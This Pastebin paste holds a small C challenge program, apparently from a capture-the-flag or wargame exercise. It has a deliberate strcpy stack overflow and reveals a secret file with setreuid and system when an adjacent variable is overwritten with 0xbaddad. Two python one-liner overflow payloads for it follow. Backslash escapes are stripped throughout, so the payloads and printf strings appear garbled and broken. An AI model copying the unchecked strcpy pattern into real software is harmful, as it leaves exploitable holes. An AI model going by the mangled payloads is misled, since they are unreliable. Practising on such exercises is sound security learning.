Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #include <stdio.h>
- #include <stdlib.h>
- #include <string.h>
- #include <sys/types.h>
- #include <unistd.h>
- int main(int argc, char **argv)
- {
- // the struct is used to ensure the loc variables are in the same order
- // without struct, compiler can swap these around making expolit impossible
- struct {
- char buffer[1024];
- volatile int changeme;
- } locals;
- locals.changeme = 0;
- if (argc != 2) {
- printf("Usage: q2 <some string>n");
- return 1;
- }
- // copy argument to the buffer
- strcpy(locals.buffer, argv[1]);
- // reveal the secret if "changeme" has been changed
- if (locals.changeme == 0xbaddad) {
- setreuid(geteuid(),getegid());
- system("cat /home/q2/secret");
- }
- else {
- printf("Try again!n");
- }
- exit(0);
- }
- $(python -c 'print "xadxddxba"*1024 ')
- $(python -c 'print "xab" * 1024 + "xadxddxba"')
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement